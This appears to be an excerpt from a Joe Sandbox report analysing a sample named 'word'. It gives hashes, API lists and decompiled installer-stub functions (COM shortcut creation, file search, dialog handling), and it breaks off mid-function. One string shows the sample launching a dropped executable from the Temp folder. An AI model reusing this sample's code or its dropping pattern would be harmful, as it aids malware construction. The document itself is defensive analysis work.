Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\AppData\Local\Temp\lyebkz.exe" C:\Users\user\AppData\Local\Temp\ektmwwvwm.tx$A$H7B
API String ID: 2624150263-3935621264
Opcode ID: cafbbb3b6b33e648c9f94ba13bd1897e858c1dbc17bb594ac49896ccdcf60781
Instruction ID: 9155a42c54a3203d4d9709c494e168d8d926bd307d67cbb08bf4d9f42020e7e3
Opcode Fuzzy Hash: cafbbb3b6b33e648c9f94ba13bd1897e858c1dbc17bb594ac49896ccdcf60781
Instruction Fuzzy Hash: 94A171F1900219ABDB11EFA5CD41AAFB7B8EF84315F11843BF601B62D1D77C8A418B69

Uniqueness

Uniqueness Score: -1.00%

Function 004021AA Relevance: 1.6, APIs: 1, Instructions: 129
comCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E004021AA() {
				signed int _t52;
				void* _t56;
				intOrPtr* _t60;
				intOrPtr _t61;
				intOrPtr* _t62;
				intOrPtr* _t64;
				intOrPtr* _t66;
				intOrPtr* _t68;
				intOrPtr* _t70;
				intOrPtr* _t72;
				intOrPtr* _t74;
				intOrPtr* _t76;
				intOrPtr* _t78;
				intOrPtr* _t80;
				void* _t83;
				intOrPtr* _t91;
				signed int _t101;
				signed int _t105;
				void* _t107;

				 *((intOrPtr*)(_t107 - 0x10)) = E00402DA6(0xfffffff0);
				 *((intOrPtr*)(_t107 - 0x44)) = E00402DA6(0xffffffdf);
				 *((intOrPtr*)(_t107 - 8)) = E00402DA6(2);
				 *((intOrPtr*)(_t107 - 0x4c)) = E00402DA6(0xffffffcd);
				 *((intOrPtr*)(_t107 - 0xc)) = E00402DA6(0x45);
				_t52 =  *(_t107 - 0x20);
				 *(_t107 - 0x50) = _t52 & 0x00000fff;
				_t101 = _t52 & 0x00008000;
				_t105 = _t52 >> 0x0000000c & 0x00000007;
				 *(_t107 - 0x40) = _t52 >> 0x00000010 & 0x0000ffff;
				if(E00405FAE( *((intOrPtr*)(_t107 - 0x44))) == 0) {
					E00402DA6(0x21);
				}
				_t56 = _t107 + 8;
				__imp__CoCreateInstance(0x4084e4, _t83, 1, 0x4084d4, _t56);
				if(_t56 < _t83) {
					L14:
					 *((intOrPtr*)(_t107 - 4)) = 1;
					_push(0xfffffff0);
				} else {
					_t60 =  *((intOrPtr*)(_t107 + 8));
					_t61 =  *((intOrPtr*)( *_t60))(_t60, 0x4084f4, _t107 - 0x38);
					 *((intOrPtr*)(_t107 - 0x18)) = _t61;
					if(_t61 >= _t83) {
						_t64 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)(_t107 - 0x18)) =  *((intOrPtr*)( *_t64 + 0x50))(_t64,  *((intOrPtr*)(_t107 - 0x44)));
						if(_t101 == _t83) {
							_t80 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t80 + 0x24))(_t80, 0x436000);
						}
						if(_t105 != _t83) {
							_t78 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t78 + 0x3c))(_t78, _t105);
						}
						_t66 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t66 + 0x34))(_t66,  *(_t107 - 0x40));
						_t91 =  *((intOrPtr*)(_t107 - 0x4c));
						if( *_t91 != _t83) {
							_t76 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t76 + 0x44))(_t76, _t91,  *(_t107 - 0x50));
						}
						_t68 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t68 + 0x2c))(_t68,  *((intOrPtr*)(_t107 - 8)));
						_t70 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t70 + 0x1c))(_t70,  *((intOrPtr*)(_t107 - 0xc)));
						if( *((intOrPtr*)(_t107 - 0x18)) >= _t83) {
							_t74 =  *((intOrPtr*)(_t107 - 0x38));
							 *((intOrPtr*)(_t107 - 0x18)) =  *((intOrPtr*)( *_t74 + 0x18))(_t74,  *((intOrPtr*)(_t107 - 0x10)), 1);
						}
						_t72 =  *((intOrPtr*)(_t107 - 0x38));
						 *((intOrPtr*)( *_t72 + 8))(_t72);
					}
					_t62 =  *((intOrPtr*)(_t107 + 8));
					 *((intOrPtr*)( *_t62 + 8))(_t62);
					if( *((intOrPtr*)(_t107 - 0x18)) >= _t83) {
						_push(0xfffffff4);
					} else {
						goto L14;
					}
				}
				E00401423();
				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t107 - 4));
				return 0;
			}

0x004021b3
0x004021bd
0x004021c7
0x004021d1
0x004021dc
0x004021df
0x004021f9
0x004021fc
0x00402202
0x00402205
0x0040220f
0x00402213
0x00402213
0x00402218
0x00402229
0x00402231
0x004022e8
0x004022e8
0x004022ef
0x00402237
0x00402237
0x00402246
0x0040224a
0x0040224d
0x00402253
0x00402261
0x00402264
0x00402266
0x00402271
0x00402271
0x00402276
0x00402278
0x0040227f
0x0040227f
0x00402282
0x0040228b
0x0040228e
0x00402294
0x00402296
0x004022a0
0x004022a0
0x004022a3
0x004022ac
0x004022af
0x004022b8
0x004022be
0x004022c0
0x004022ce
0x004022ce
0x004022d1
0x004022d7
0x004022d7
0x004022da
0x004022e0
0x004022e6
0x004022fb
0x00000000
0x00000000
0x00000000
0x004022e6
0x004022f1
0x00402c2d
0x00402c39

APIs

CoCreateInstance.OLE32(004084E4,?,00000001,004084D4,?), ref: 00402229

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 077b7362f6a1d4038be91bf7f4b9e5842d68daf9de23732b557fb751e09ce78c
Instruction ID: f110e38d5ccd8909b9e85e2ea6b1342c5fae2602ce40754bea02e3b472428d32
Opcode Fuzzy Hash: 077b7362f6a1d4038be91bf7f4b9e5842d68daf9de23732b557fb751e09ce78c
Instruction Fuzzy Hash: BC411771A00209EFCF40DFE4C989E9D7BB5BF49304B20456AF505EB2D1DB799981CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0040290B Relevance: 1.5, APIs: 1, Instructions: 30
fileCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E0040290B(short __ebx, short* __edi) {
				void* _t21;

				if(FindFirstFileW(E00402DA6(2), _t21 - 0x2dc) != 0xffffffff) {
					E004065AF( *((intOrPtr*)(_t21 - 0xc)), _t8);
					_push(_t21 - 0x2b0);
					_push(__edi);
					E00406668();
				} else {
					 *((short*)( *((intOrPtr*)(_t21 - 0xc)))) = __ebx;
					 *__edi = __ebx;
					 *((intOrPtr*)(_t21 - 4)) = 1;
				}
				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t21 - 4));
				return 0;
			}

0x00402923
0x0040293e
0x00402949
0x0040294a
0x00402a94
0x00402925
0x00402928
0x0040292b
0x0040292e
0x0040292e
0x00402c2d
0x00402c39

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040291A

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: b2f27a8a5f9b700f187602bb898c1293859530a573ae52e9df8ecc114fa703e5
Instruction ID: b84bdfeecc4e8c0803ac0e71b8711fc90ef1d688bdc4be786e729a17b55638d3
Opcode Fuzzy Hash: b2f27a8a5f9b700f187602bb898c1293859530a573ae52e9df8ecc114fa703e5
Instruction Fuzzy Hash: 47F05E71A04105EBDB01DBB4EE49AAEB378EF14314F60457BE101F21D0E7B88E529B29

Uniqueness

Uniqueness Score: -1.00%

Function 00405031 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 489
windowmemoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00405031(struct HWND__* _a4, int _a8, signed int _a12, int _a16) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				long _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				signed char* _v32;
				int _v36;
				signed int _v44;
				int _v48;
				signed int* _v60;
				signed char* _v64;
				signed int _v68;
				long _v72;
				void* _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t198;
				intOrPtr _t201;
				long _t207;
				signed int _t211;
				signed int _t222;
				void* _t225;
				void* _t226;
				int _t232;
				long _t237;
				long _t238;
				signed int _t239;
				signed int _t245;
				signed int _t247;
				signed char _t248;
				signed char _t254;
				void* _t258;
				void* _t260;
				signed char* _t278;
				signed char _t279;
				long _t284;
				struct HWND__* _t291;
				signed int* _t292;
				int _t293;
				long _t294;
				signed int _t295;
				void* _t297;
				long _t298;
				int _t299;
				signed int _t300;
				signed int _t303;
				signed int _t311;
				signed char* _t319;
				int _t324;
				void* _t326;

				_t291 = _a4;
				_v12 = GetDlgItem(_t291, 0x3f9);
				_v8 = GetDlgItem(_t291, 0x408);
				_t326 = SendMessageW;
				_v24 =  *0x42a288;
				_v28 =  *0x42a270 + 0x94;
				if(_a8 != 0x110) {
					L23:
					if(_a8 != 0x405) {
						_t301 = _a16;
					} else {
						_a12 = 0;
						_t301 = 1;
						_a8 = 0x40f;
						_a16 = 1;
					}
					if(_a8 == 0x4e || _a8 == 0x413) {
						_v16 = _t301;
						if(_a8 == 0x413 ||  *((intOrPtr*)(_t301 + 4)) == 0x408) {
							if(( *0x42a279 & 0x00000002) != 0) {
								L41:
								if(_v16 != 0) {
									_t237 = _v16;
									if( *((intOrPtr*)(_t237 + 8)) == 0xfffffe3d) {
										SendMessageW(_v8, 0x419, 0,  *(_t237 + 0x5c));
									}
									_t238 = _v16;
									if( *((intOrPtr*)(_t238 + 8)) == 0xfffffe39) {
										_t301 = _v24;
										_t239 =  *(_t238 + 0x5c);
										if( *((intOrPtr*)(_t238 + 0xc)) != 2) {
											 *(_t239 * 0x818 + _t301 + 8) =  *(_t239 * 0x818 + _t301 + 8) & 0xffffffdf;
										} else {
											 *(_t239 * 0x818 + _t301 + 8) =  *(_t239 * 0x818 + _t301 + 8) | 0x00000020;
										}
									}
								}
								goto L48;
							}
							if(_a8 == 0x413) {
								L33:
								_t301 = 0 | _a8 != 0x00000413;
								_t245 = E00404F7F(_v8, _a8 != 0x413);
								_t295 = _t245;
								if(_t295 >= 0) {
									_t94 = _v24 + 8; // 0x8
									_t301 = _t245 * 0x818 + _t94;
									_t247 =  *_t301;
									if((_t247 & 0x00000010) == 0) {
										if((_t247 & 0x00000040) == 0) {
											_t248 = _t247 ^ 0x00000001;
										} else {
											_t254 = _t247 ^ 0x00000080;
											if(_t254 >= 0) {
												_t248 = _t254 & 0x000000fe;
											} else {
												_t248 = _t254 | 0x00000001;
											}
										}
										 *_t301 = _t248;
										E0040117D(_t295);
										_a12 = _t295 + 1;
										_a16 =  !( *0x42a278) >> 0x00000008 & 0x00000001;
										_a8 = 0x40f;
									}
								}
								goto L41;
							}
							_t301 = _a16;
							if( *((intOrPtr*)(_a16 + 8)) != 0xfffffffe) {
								goto L41;
							}
							goto L33;
						} else {
							goto L48;
						}
					} else {
						L48:
						if(_a8 != 0x111) {
							L56:
							if(_a8 == 0x200) {
								SendMessageW(_v8, 0x200, 0, 0);
							}
							if(_a8 == 0x40b) {
								_t225 =  *0x42372c;
								if(_t225 != 0) {
									ImageList_Destroy(_t225);
								}
								_t226 =  *0x423740;
								if(_t226 != 0) {
									GlobalFree(_t226);
								}
								 *0x42372c = 0;
								 *0x423740 = 0;
								 *0x42a2c0 = 0;
							}
							if(_a8 != 0x40f) {
								L90:
								if(_a8 == 0x420 && ( *0x42a279 & 0x00000001) != 0) {
									_t324 = (0 | _a16 == 0x00000020) << 3;
									ShowWindow(_v8, _t324);
									ShowWindow(GetDlgItem(_a4, 0x3fe), _t324);
								}
								goto L93;
							} else {
								E004011EF(_t301, 0, 0);
								_t198 = _a12;
								if(_t198 != 0) {
									if(_t198 != 0xffffffff) {
										_t198 = _t198 - 1;
									}
									_push(_t198);
									_push(8);
									E00404FFF();
								}
								if(_a16 == 0) {
									L75:
									E004011EF(_t301, 0, 0);
									_v36 =  *0x423740;
									_t201 =  *0x42a288;
									_v64 = 0xf030;
									_v24 = 0;
									if( *0x42a28c <= 0) {
										L86:
										if( *0x42a31e == 0x400) {
											InvalidateRect(_v8, 0, 1);
										}
										if( *((intOrPtr*)( *0x42923c + 0x10)) != 0) {
											E00404F3A(0x3ff, 0xfffffffb, E00404F52(5));
										}
										goto L90;
									}
									_t292 = _t201 + 8;
									do {
										_t207 =  *((intOrPtr*)(_v36 + _v24 * 4));
										if(_t207 != 0) {
											_t303 =  *_t292;
											_v72 = _t207;
											_v76 = 8;
											if((_t303 & 0x00000001) != 0) {
												_v76 = 9;
												_v60 =  &(_t292[4]);
												_t292[0] = _t292[0] & 0x000000fe;
											}
											if((_t303 & 0x00000040) == 0) {
												_t211 = (_t303 & 0x00000001) + 1;
												if((_t303 & 0x00000010) != 0) {
													_t211 = _t211 + 3;
												}
											} else {
												_t211 = 3;
											}
											_v68 = (_t211 << 0x0000000b | _t303 & 0x00000008) + (_t211 << 0x0000000b | _t303 & 0x00000008) | _t303 & 0x00000020;
											SendMessageW(_v8, 0x1102, (_t303 >> 0x00000005 & 0x00000001) + 1, _v72);
											SendMessageW(_v8, 0x113f, 0,  &_v76);
										}
										_v24 = _v24 + 1;
										_t292 =  &(_t292[0x206]);
									} while (_v24 <  *0x42a28c);
									goto L86;
								} else {
									_t293 = E004012E2( *0x423740);
									E00401299(_t293);
									_t222 = 0;
									_t301 = 0;
									if(_t293 <= 0) {
										L74:
										SendMessageW(_v12, 0x14e, _t301, 0);
										_a16 = _t293;
										_a8 = 0x420;
										goto L75;
									} else {
										goto L71;
									}
									do {
										L71:
										if( *((intOrPtr*)(_v28 + _t222 * 4)) != 0) {
											_t301 = _t301 + 1;
										}
										_t222 = _t222 + 1;
									} while (_t222 < _t293);
									goto L74;
								}
							}
						}
						if(_a12 != 0x3f9 || _a12 >> 0x10 != 1) {
							goto L93;
						} else {
							_t232 = SendMessageW(_v12, 0x147, 0, 0);
							if(_t232 == 0xffffffff) {
								goto L93;
							}
							_t294 = SendMessageW(_v12, 0x150, _t232, 0);
							if(_t294 == 0xffffffff ||  *((intOrPtr*)(_v28 + _t294 * 4)) == 0) {
								_t294 = 0x20;
							}
							E00401299(_t294);
							SendMessageW(_a4, 0x420, 0, _t294);
							_a12 = _a12 | 0xffffffff;
							_a16 = 0;
							_a8 = 0x40f;
							goto L56;
						}
					}
				} else {
					_v36 = 0;
					_v20 = 2;
					 *0x42a2c0 = _t291;
					 *0x423740 = GlobalAlloc(0x40,  *0x42a28c << 2);
					_t258 = LoadImageW( *0x42a260, 0x6e, 0, 0, 0, 0);
					 *0x423734 =  *0x423734 | 0xffffffff;
					_t297 = _t258;
					 *0x42373c = SetWindowLongW(_v8, 0xfffffffc, E0040563E);
					_t260 = ImageList_Create(0x10, 0x10, 0x21, 6, 0);
					 *0x42372c = _t260;
					ImageList_AddMasked(_t260, _t297, 0xff00ff);
					SendMessageW(_v8, 0x1109, 2,  *0x42372c);
					if(SendMessageW(_v8, 0x111c, 0, 0) < 0x10) {
						SendMessageW(_v8, 0x111b, 0x10, 0);
					}
					DeleteObject(_t297);
					_t298 = 0;
					do {
						_t266 =  *((intOrPtr*)(_v28 + _t298 * 4));
						if( *((intOrPtr*)(_v28 + _t298 * 4)) != 0) {
							if(_t298 != 0x20) {
								_v20 = 0;
							}
							SendMessageW(_v12, 0x151, SendMessageW(_v12, 0x143, 0, E004066A5(_t298, 0, _t326, 0, _t266)), _t298);
						}
						_t298 = _t298 + 1;
					} while (_t298 < 0x21);
					_t299 = _a16;
					_push( *((intOrPtr*)(_t299 + 0x30 + _v20 * 4)));
					_push(0x15);
					E004045C4(_a4);
					_push( *((intOrPtr*)(_t299 + 0x34 + _v20 * 4)));
					_push(0x16);
					E004045C4(_a4);
					_t300 = 0;
					_v16 = 0;
					if( *0x42a28c <= 0) {
						L19:
						SetWindowLongW(_v8, 0xfffffff0, GetWindowLongW(_v8, 0xfffffff0) & 0x000000fb);
						goto L20;
					} else {
						_t319 = _v24 + 8;
						_v32 = _t319;
						do {
							_t278 =  &(_t319[0x10]);
							if( *_t278 != 0) {
								_v64 = _t278;
								_t279 =  *_t319;
								_v88 = _v16;
								_t311 = 0x20;
								_v84 = 0xffff0002;
								_v80 = 0xd;
								_v68 = _t311;
								_v44 = _t300;
								_v72 = _t279 & _t311;
								if((_t279 & 0x00000002) == 0) {
									if((_t279 & 0x00000004) == 0) {
										 *( *0x423740 + _t300 * 4) = SendMessageW(_v8, 0x1132, 0,  &_v88);
									} else {
										_v16 = SendMessageW(_v8, 0x110a, 3, _v16);
									}
								} else {
									_v80 = 0x4d;
									_v48 = 1;
									_t284 = SendMessageW(_v8, 0x1132, 0,  &_v88);
									_v36 = 1;
									 *( *0x423740 + _t300 * 4) = _t284;
									_v16 =  *( *0x423740 + _t300 * 4);
								}
							}
							_t300 = _t300 + 1;
							_t319 =  &(_v32[0x818]);
							_v32 = _t319;
						} while (_t300 <  *0x42a28c);
						if(_v36 != 0) {
							L20:
							if(_v20 != 0) {
								E004045F9(_v8);
								goto L23;
							} else {
								ShowWindow(_v12, 5);
								E004045F9(_v12);
								L93:
								return E0040462B(_a8, _a12, _a16);
							}
						}
						goto L19;
					}
				}
			}

0x00405038
0x00405051
0x00405056
0x0040505e
0x00405064
0x0040507a
0x0040507d
0x004052a8
0x004052af
0x004052c3
0x004052b1
0x004052b3
0x004052b6
0x004052b7
0x004052be
0x004052be
0x004052cf
0x004052dd
0x004052e0
0x004052f6
0x0040536b
0x0040536e
0x00405370
0x0040537a
0x00405388
0x00405388
0x0040538a
0x00405394
0x0040539a
0x0040539d
0x004053a0
0x004053bb
0x004053a2
0x004053ac
0x004053ac
0x004053a0
0x00405394
0x00000000
0x0040536e
0x004052fb
0x00405306
0x0040530b
0x00405312
0x00405317
0x0040531b
0x00405326
0x00405326
0x0040532a
0x0040532e
0x00405332
0x00405345
0x00405334
0x00405334
0x0040533b
0x00405341
0x0040533d
0x0040533d
0x0040533d
0x0040533b
0x00405349
0x0040534b
0x0040535e
0x00405361
0x00405364
0x00405364
0x0040532e
0x00000000
0x0040531b
0x004052fd
0x00405304
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004053be
0x004053be
0x004053c5
0x00405436
0x0040543e
0x00405446
0x00405446
0x0040544f
0x00405451
0x00405458
0x0040545b
0x0040545b
0x00405461
0x00405468
0x0040546b
0x0040546b
0x00405471
0x00405477
0x0040547d
0x0040547d
0x0040548a
0x004055eb
0x004055f2
0x0040560f
0x00405615
0x00405627
0x00405627
0x00000000
0x00405490
0x00405492
0x00405497
0x0040549c
0x004054a1
0x004054a3
0x004054a3
0x004054a4
0x004054a5
0x004054a7
0x004054a7
0x004054af
0x004054f0
0x004054f2
0x00405502
0x00405505
0x0040550a
0x00405511
0x00405514
0x004055b6
0x004055bf
0x004055c7
0x004055c7
0x004055d5
0x004055e6
0x004055e6
0x00000000
0x004055d5
0x0040551a
0x0040551d
0x00405523
0x00405528
0x0040552a
0x0040552c
0x00405532
0x00405539
0x0040553e
0x00405545
0x00405548
0x00405548
0x0040554f
0x0040555b
0x0040555f
0x00405561
0x00405561
0x00405551
0x00405553
0x00405553
0x00405581
0x0040558d
0x0040559c
0x0040559c
0x0040559e
0x004055a1
0x004055aa
0x00000000
0x004054b1
0x004054bc
0x004054bf
0x004054c4
0x004054c6
0x004054ca
0x004054da
0x004054e4
0x004054e6
0x004054e9
0x00000000
0x00000000
0x00000000
0x00000000
0x004054cc
0x004054cc
0x004054d2
0x004054d4
0x004054d4
0x004054d5
0x004054d6
0x00000000
0x004054cc
0x004054af
0x0040548a
0x004053cd
0x00000000
0x004053e3
0x004053ed
0x004053f2
0x00000000
0x00000000
0x00405404
0x00405409
0x00405415
0x00405415
0x00405417
0x00405426
0x00405428
0x0040542c
0x0040542f
0x00000000
0x0040542f
0x004053cd
0x00405083
0x00405088
0x00405091
0x00405098
0x004050aa
0x004050b5
0x004050bb
0x004050c9
0x004050dd
0x004050e2
0x004050ef
0x004050f4
0x0040510a
0x0040511b
0x00405128
0x00405128
0x0040512b
0x00405131
0x00405133
0x00405136
0x0040513b
0x00405140
0x00405142
0x00405142
0x00405162
0x00405162
0x00405164
0x00405165
0x0040516a
0x00405170
0x00405174
0x00405179
0x00405181
0x00405185
0x0040518a
0x0040518f
0x00405197
0x0040519a
0x0040526a
0x0040527d
0x00000000
0x004051a0
0x004051a3
0x004051a6
0x004051a9
0x004051a9
0x004051af
0x004051b8
0x004051bb
0x004051bf
0x004051c2
0x004051c5
0x004051ce
0x004051d7
0x004051da
0x004051dd
0x004051e0
0x0040521e
0x00405249
0x00405220
0x0040522f
0x0040522f
0x004051e2
0x004051e5
0x004051f3
0x004051fd
0x00405205
0x0040520c
0x00405217
0x00405217
0x004051e0
0x0040524f
0x00405250
0x0040525c
0x0040525c
0x00405268
0x00405283
0x00405286
0x004052a3
0x00000000
0x00405288
0x0040528d
0x00405296
0x00405629
0x0040563b
0x0040563b
0x00405286
0x00000000
0x00405268
0x0040519a

APIs

GetDlgItem.USER32(?,000003F9), ref: 00405049
GetDlgItem.USER32(?,00000408), ref: 00405054
GlobalAlloc.KERNEL32(00000040,?), ref: 0040509E
LoadImageW.USER32 ref: 004050B5
SetWindowLongW.USER32 ref: 004050CE
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 004050E2
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 004050F4
SendMessageW.USER32(?,00001109,00000002), ref: 0040510A
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00405116
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00405128
DeleteObject.GDI32(00000000), ref: 0040512B
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00405156
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00405162
SendMessageW.USER32(?,00001132,00000000,?), ref: 004051FD
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 0040522D

Part of subcall function 004045F9: SendMessageW.USER32(00000028,?,00000001,00404424), ref: 00404607

SendMessageW.USER32(?,00001132,00000000,?), ref: 00405241
GetWindowLongW.USER32(?,000000F0), ref: 0040526F
SetWindowLongW.USER32 ref: 0040527D
ShowWindow.USER32(?,00000005), ref: 0040528D
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405388
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 004053ED
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405402
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00405426
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00405446
ImageList_Destroy.COMCTL32(?), ref: 0040545B
GlobalFree.KERNEL32(?), ref: 0040546B
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004054E4
SendMessageW.USER32(?,00001102,?,?), ref: 0040558D
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040559C
InvalidateRect.USER32(?,00000000,00000001), ref: 004055C7
ShowWindow.USER32(?,00000000), ref: 00405615
GetDlgItem.USER32(?,000003FE), ref: 00405620
ShowWindow.USER32(00000000), ref: 00405627

Strings

M, xrefs: 004051E5
, xrefs: 004055FF
N, xrefs: 004052C6

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: de07a9e9a0be4199ac2fb0f6085adc1098bb242521470954e30eab12cbe79057
Instruction ID: a1eb65f7683e17450fca8d4cb4c1055b074660be5b1b810df034ff690b7f681c
Opcode Fuzzy Hash: de07a9e9a0be4199ac2fb0f6085adc1098bb242521470954e30eab12cbe79057
Instruction Fuzzy Hash: 2A025CB0900609EFDF20DF65CD45AAE7BB5FB44315F10817AEA10BA2E1D7798A52CF18

Uniqueness

Uniqueness Score: -1.00%

Function 00404783 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00404783(struct HWND__* _a4, int _a8, unsigned int _a12, WCHAR* _a16) {
				intOrPtr _v8;
				int _v12;
				void* _v16;
				struct HWND__* _t56;
				signed int _t75;
				signed short* _t76;
				signed short* _t78;
				long _t92;
				int _t103;
				signed int _t110;
				intOrPtr _t113;
				WCHAR* _t114;
				signed int* _t116;
				WCHAR* _t117;
				struct HWND__* _t118;

				if(_a8 != 0x110) {
					if(_a8 != 0x111) {
						L13:
						if(_a8 != 0x4e) {
							if(_a8 == 0x40b) {
								 *0x421714 =  *0x421714 + 1;
							}
							L27:
							_t114 = _a16;
							L28:
							return E0040462B(_a8, _a12, _t114);
						}
						_t56 = GetDlgItem(_a4, 0x3e8);
						_t114 = _a16;
						if( *((intOrPtr*)(_t114 + 8)) == 0x70b &&  *((intOrPtr*)(_t114 + 0xc)) == 0x201) {
							_t103 =  *((intOrPtr*)(_t114 + 0x1c));
							_t113 =  *((intOrPtr*)(_t114 + 0x18));
							_v12 = _t103;
							_v16 = _t113;
							_v8 = 0x428200;
							if(_t103 - _t113 < 0x800) {
								SendMessageW(_t56, 0x44b, 0,  &_v16);
								SetCursor(LoadCursorW(0, 0x7f02));
								_push(1);
								E00404A32(_a4, _v8);
								SetCursor(LoadCursorW(0, 0x7f00));
								_t114 = _a16;
							}
						}
						if( *((intOrPtr*)(_t114 + 8)) != 0x700 ||  *((intOrPtr*)(_t114 + 0xc)) != 0x100) {
							goto L28;
						} else {
							if( *((intOrPtr*)(_t114 + 0x10)) == 0xd) {
